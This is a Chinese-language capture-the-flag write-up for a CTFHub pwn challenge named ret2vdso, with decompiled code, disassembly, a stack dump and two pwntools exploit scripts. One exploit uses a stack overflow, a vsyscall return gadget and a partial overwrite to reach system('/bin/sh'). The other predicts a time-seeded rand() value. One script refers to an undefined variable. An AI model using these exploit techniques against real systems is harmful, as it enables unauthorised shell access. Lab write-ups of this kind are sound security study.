Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
int getint()
{
//buf大小为16字节
char buf[16]; // [rsp+0h] [rbp-10h]
//仅允许用户输入8个字节
read(0, buf, 8uLL);
return atoi(buf);//将输入转为数字并返回
}
int menu()
{
puts("------welcome------");
puts("1.get gift");
puts("2.overflow");
puts("3.exit");
puts("[+]give me your choice:");
return getint();
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int seed; // eax
int inputNum; // ebx
char buf[56]; // [rsp+0h] [rbp-50h] BYREF
int choice; // [rsp+38h] [rbp-18h]
int counter; // [rsp+3Ch] [rbp-14h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
counter = 2;
do
{
if ( !counter )//如果counter为0则结束循环
break;
choice = menu();//获取用户输入
if ( choice == 1 )
{
--counter;
puts("input num:");
seed = time(0LL);//将当前时间戳作为seed【不安全的引用】
srand(seed);
inputNum = getint();//获取用户输入【注意是先获取seed后才等待输入】
if ( inputNum == rand() )//对比输入和rand结果,如果一致则直接getshell
system("/bin/sh");
}
if ( choice == 2 )
{
--counter;
puts("hello from ctfhub");
read(0, buf, 0xD0uLL);//【栈溢出】
}
}
while ( choice != 3 );//即使输入3也会再跑一次循环【逻辑错误】
return 0;
}
.text:0000000000000A38 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000000A38 public main
.text:0000000000000A38 main proc near ; DATA XREF: _start+1D↑o
.text:0000000000000A38
.text:0000000000000A38 buf= byte ptr -50h
.text:0000000000000A38 choice= dword ptr -18h
.text:0000000000000A38 counter= dword ptr -14h
.text:0000000000000A38
.text:0000000000000A38 ; __unwind {
.text:0000000000000A38 push rbp
.text:0000000000000A39 mov rbp, rsp
.text:0000000000000A3C push rbx
.text:0000000000000A3D sub rsp, 48h
.text:0000000000000A41 ; 8: setvbuf(_bss_start, 0LL, 2, 0LL);
.text:0000000000000A41 mov rax, cs:__bss_start
.text:0000000000000A48 mov ecx, 0 ; n
.text:0000000000000A4D mov edx, 2 ; modes
.text:0000000000000A52 mov esi, 0 ; buf
.text:0000000000000A57 mov rdi, rax ; stream
.text:0000000000000A5A call _setvbuf
.text:0000000000000A5A
.text:0000000000000A5F ; 9: setvbuf(stdin, 0LL, 1, 0LL);
.text:0000000000000A5F mov rax, cs:stdin@@GLIBC_2_2_5
.text:0000000000000A66 mov ecx, 0 ; n
.text:0000000000000A6B mov edx, 1 ; modes
.text:0000000000000A70 mov esi, 0 ; buf
.text:0000000000000A75 mov rdi, rax ; stream
.text:0000000000000A78 call _setvbuf
.text:0000000000000A78
.text:0000000000000A7D ; 10: v8 = 2;
.text:0000000000000A7D mov [rbp+counter], 2
.text:0000000000000A84 jmp loc_B10
.text:0000000000000A84
.text:0000000000000A89 ; ---------------------------------------------------------------------------
.text:0000000000000A89 ; 15: choice = getInput();
.text:0000000000000A89
.text:0000000000000A89 loc_A89: ; CODE XREF: main+DC↓j
.text:0000000000000A89 mov eax, 0
.text:0000000000000A8E call printMenu ; 打印菜单并获取用户输入数字
.text:0000000000000A8E ; 1:getGift,判断用户输入和随机数是否相同
.text:0000000000000A8E ; 2:overflow,栈溢出
.text:0000000000000A8E ; 3:结束
.text:0000000000000A8E
.text:0000000000000A93 mov [rbp+choice], eax
.text:0000000000000A96 ; 16: if ( choice == 1 )
.text:0000000000000A96 cmp [rbp+choice], 1
.text:0000000000000A9A jnz short loc_ADE
.text:0000000000000A9A
.text:0000000000000A9C ; 18: --v8;
.text:0000000000000A9C sub [rbp+counter], 1
; ↓↓↓↓↓↓↓↓↓↓用户输入为1,getGift↓↓↓↓↓↓↓↓↓↓
.text:0000000000000AA0 ; 19: puts("input num:");
.text:0000000000000AA0 lea rdi, aInputNum ; "input num:"
.text:0000000000000AA7 call _puts
.text:0000000000000AA7
.text:0000000000000AAC ; 20: seed = time(0LL);
.text:0000000000000AAC mov edi, 0 ; timer
.text:0000000000000AB1 call _time
.text:0000000000000AB1
.text:0000000000000AB6 ; 21: srand(seed);
.text:0000000000000AB6 mov edi, eax ; seed
.text:0000000000000AB8 call _srand
.text:0000000000000AB8
.text:0000000000000ABD ; 22: inputNum = getInputNumber();
.text:0000000000000ABD mov eax, 0
.text:0000000000000AC2 call getInputNumber
.text:0000000000000AC2
.text:0000000000000AC7 mov ebx, eax
.text:0000000000000AC9 ; 23: if ( inputNum == rand() )
.text:0000000000000AC9 call _rand
.text:0000000000000AC9
.text:0000000000000ACE cmp ebx, eax
.text:0000000000000AD0 jnz short loc_ADE
.text:0000000000000AD0
.text:0000000000000AD2 ;system("/bin/sh");getShell代码位于mainAD2处
.text:0000000000000AD2 lea rdi, command ; "/bin/sh"
.text:0000000000000AD9 call _system
; ↑↑↑↑↑↑↑↑↑↑↑用户输入为1:getGift↑↑↑↑↑↑↑↑↑↑↑↑↑
.text:0000000000000AD9
.text:0000000000000ADE ; 26: if ( choice == 2 )
.text:0000000000000ADE
.text:0000000000000ADE loc_ADE: ; CODE XREF: main+62↑j
.text:0000000000000ADE ; main+98↑j
.text:0000000000000ADE cmp [rbp+choice], 2
.text:0000000000000AE2 jnz short loc_B0A
; ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓用户输入为2:overflow↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
.text:0000000000000AE2
.text:0000000000000AE4 ; 28: --v8;
.text:0000000000000AE4 sub [rbp+counter], 1
.text:0000000000000AE8 ; 29: puts("hello from ctfhub");
.text:0000000000000AE80 lea rdi, aHelloFromCtfhu ; "hello from ctfhub"
.text:0000000000000AEF call _puts
.text:0000000000000AEF
.text:0000000000000AF4 ; 30: read(0, buf, 0xD0uLL);
.text:0000000000000AF4 lea rax, [rbp+buf]
.text:0000000000000AF8 mov edx, 0D0h ; nbytes
.text:0000000000000AFD mov rsi, rax ; buf
.text:0000000000000B00 mov edi, 0 ; fd
.text:0000000000000B05 call _read
; ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑用户输入为2:overflow↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
.text:0000000000000B05
.text:0000000000000B0A ; 33: while ( choice != 3 );
.text:0000000000000B0A
.text:0000000000000B0A loc_B0A: ; CODE XREF: main+AA↑j
.text:0000000000000B0A cmp [rbp+choice], 3
.text:0000000000000B0E jz short loc_B1C
.text:0000000000000B0E
.text:0000000000000B10 ; 13: if ( !v8 )
.text:0000000000000B10
.text:0000000000000B10 loc_B10: ; CODE XREF: main+4C↑j
.text:0000000000000B10 cmp [rbp+counter], 0
.text:0000000000000B14 ; 14: break;
.text:0000000000000B14 jnz loc_A89
.text:0000000000000B14
.text:0000000000000B1A jmp short loc_B1D
.text:0000000000000B1A
.text:0000000000000B1C ; ---------------------------------------------------------------------------
.text:0000000000000B1C
.text:0000000000000B1C loc_B1C: ; CODE XREF: main+D6↑j
.text:0000000000000B1C nop
.text:0000000000000B1C
.text:0000000000000B1D ; 34: return 0;
.text:0000000000000B1D
.text:0000000000000B1D loc_B1D: ; CODE XREF: main+E2↑j
.text:0000000000000B1D mov eax, 0
.text:0000000000000B22 add rsp, 48h
.text:0000000000000B26 pop rbx
.text:0000000000000B27 pop rbp
.text:0000000000000B28 retn
.text:0000000000000B28 ; } // starts at A38
.text:0000000000000B28
.text:0000000000000B28 main endp
以下是main函数初始化完后的栈构造
00:0000│ rsp 0x7fffffffdd00 ◂— 0xd30 /* '0\r' */
01:0008│ 0x7fffffffdd08 —▸ 0x7fffffffe1c9 ◂— 0x29aea5211c50d76b
02:0010│ 0x7fffffffdd10 —▸ 0x7ffff7fc1000 ◂— jg 0x7ffff7fc1047 //此处是VDSO基址
03:0018│ 0x7fffffffdd18 ◂— 0x10101000000
04:0020│ 0x7fffffffdd20 ◂— 0x2
05:0028│ 0x7fffffffdd28 ◂— 0x78bfbff
06:0030│ 0x7fffffffdd30 —▸ 0x7fffffffe1d9 ◂— 0x34365f363878 /* 'x86_64' */
07:0038│ 0x7fffffffdd38 ◂— 0x64 /* 'd' */
08:0040│ 0x7fffffffdd40 ◂— 0x1000
09:0048│ 0x7fffffffdd48 ◂— 0x0
0a:0050│ rbp 0x7fffffffdd50 ◂— 0x1
0b:0058│ 0x7fffffffdd58 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
0c:0060│ 0x7fffffffdd60 ◂— 0x0
0d:0068│ 0x7fffffffdd68 —▸ 0x555555400a38 (main) ◂— 0xec834853e5894855 //main函数起点,a38处
除了Canary之外的保护都开了,由于开启了PIE无法直接获悉具体指令地址,所以无法直接构建ROP
[!NOTE] 根据IDA静态分析可知
- main函数分支 1 中存在不安全的引用以及
system(/bin/sh)
调用- main函数分支 2 中存在栈溢出漏洞
- main函数分支 3 存在逻辑错误
[!NOTE] 根据汇编分析得知
system
调用位于main函数中低2字节为0x0AD2
处
[!NOTE] 结合调试分析的栈构造可知
位于RBP-0x18
处是main函数地址
位于RSP+0x10
处是VDSO基址
srand->seed
引用根据分析可知以下三个关键点
RBP-0x80
RBP-0x18
处为main函数地址system("/bin/sh")
调用位于main函数末2字节0xAD2
处填充payload至RBP,寻找retGadget
并填充至RBP+0x8
和RBP+0x10
处,使用Partial Write覆写位于RBP+0x18
处的main函数末2字节为0x0AD2
,使main函数结束后连续ret至system
调用处并成功getShell;
但是由于程序开启了PIE保护,并且没有可泄露地址的漏洞存在,所以常规ROPGadget无法使用,考虑使用vsyscall作为retGadget
vsyscall
是第一种也是最古老的一种用于加快系统调用的机制,它是Linux内核在用户空间映射的一块包含一些变量和系统调用实现的内存页,对于X86_64的架构可以在 Linux 内核的 文档 找到关于这一内存区域的信息:
ffffffffff600000 - ffffffffffdfffff (=8 MB) vsyscalls
或在GDB中 vmmap
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
或cat /proc/1/maps | grep vsyscal
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
[[#1.使用栈溢出漏洞GetShell|实现EXP代码]]
对于这个实现方法,成功在本地打通并且getShell,但是在远程却并不适用,题目名叫做Ret2VDSO,直接使用Vsyscall我也觉得应该不是出题人本意,但是我并没有完全理解VDSO和该程序的利用,也没有找到相关类似题目的WP,根据我对vsyscall
和vdso
的理解推测或许是靶机上压根就没有vsyscall,所以对于栈溢出的利用仅到此为止;
[!NOTE] 补充-爆破VDSO基址
我曾尝试爆破VDSO基址,并加上0x5FC
作为偏移来作为RetGadGet
,但是这个方法不论是在远程还是本地都没成功,原因是在x64下,该地址有3个字节也既12位是随机的,不同于x32下仅有1字节,爆破概率是1/256;在本程序中爆破概率低达1/16777216,在绞尽脑汁想不出如何通过栈溢出来打通该程序时,确实抱着侥幸尝试过爆破VDSO基址,但不论本地还是远程最终都没能打通,即使打通了本地,也许我找的VDSO文件的ret偏移0x5FC
在远程上也并不适用,所以我最终放弃了
根据分析可知以下三点
system("/bin/sh")
编写C程序提前生成出下一次结果小于9位数的时间戳和rand结果,在EXP中检查
time()==targetTime
后发出rand结果,使判断成功并且getShell
[[#2.使用不安全的seed引用Getshell | 实现EXP代码]]
由于程序中的seed根据time()来生成,所以这是可以被预估的,只需要提前预估未来的某一个符合rand结果小于9位数用户可输入的时间戳并且等时间到时发送内容即可
from pwn import *
prog = "./ret2vdso"
local = False
context(os='linux', arch='amd64', log_level='debug')
if local:
p = process(prog)
#gdb.attach(p,"b *main+0x7E \x0a c \x0a")
#sleep(1)
else:
p = remote("challenge-580595dffc0d543f.sandbox.ctfhub.com",25533)
vsys = 0xffffffffff600000
payload = b"\x00"*88
payload += p64(vsys)*2 + p16(0xAD2)
r.sendafter("[+]give me your choice:\n", "2")
r.sendafter("hello from ctfhub\n",payload)
r.interactive()
#include
#include
#include
int main(){
int randNum = 99999999+1;
long cTime = time(0)+15;
while(randNum > 99999999){
srand(cTime);
randNum = rand();
if(randNum <= 99999999){
break;
}
cTime = cTime+1;
}
printf("Time:%ld\n",cTime);
printf("rand:%d\n",randNum);
printf("rand:0x%x\n",randNum);
return 0;
}
from pwn import *
from time import *
prog = "./ret2vdso"
local = False
context(os='linux', arch='amd64', log_level='debug')
if local:
p = process(prog)
#gdb.attach(p,"b *main+0x7E \x0a c \x0a")
#sleep(1)
else:
p = remote("challenge-580595dffc0d543f.sandbox.ctfhub.com",25533)
targetTime = 1678511159
targetRand = str(995880)
firstTime = 0
while True:
if(int(time()) == targetTime+1):#为什么+1下面有解释,远程可能存在挖网络延迟之类影响所以可能无法一次打通,需要多次尝试
p.sendafter("[+]give me your choice:\n","1") #此处需要注意在玩家选择分支1后time()就已经被调用
firstTime = time()
break;
p.recvuntil("input num:\n")
print("use Time : {}".format(time() - firstTime))#根据比对发现远程和本地两次发送数据间隔差距不大,但是在本地调试中却发现targetTime比程序调用的time要大1,所以在targetTime处+1
p.send(targetRand)
p.interactive()
p.close()
[!NOTE] 关于VDSO #待解决
我对该机制的理解还是过于浅显,以至于无法用出题人希望的方式解出这道题,目前这题作为遗留问题,在我理解深入后再回过头来思考这题的解法
[!NOTE] 查找VDSO文件
find / -name ‘*vdso*.so*’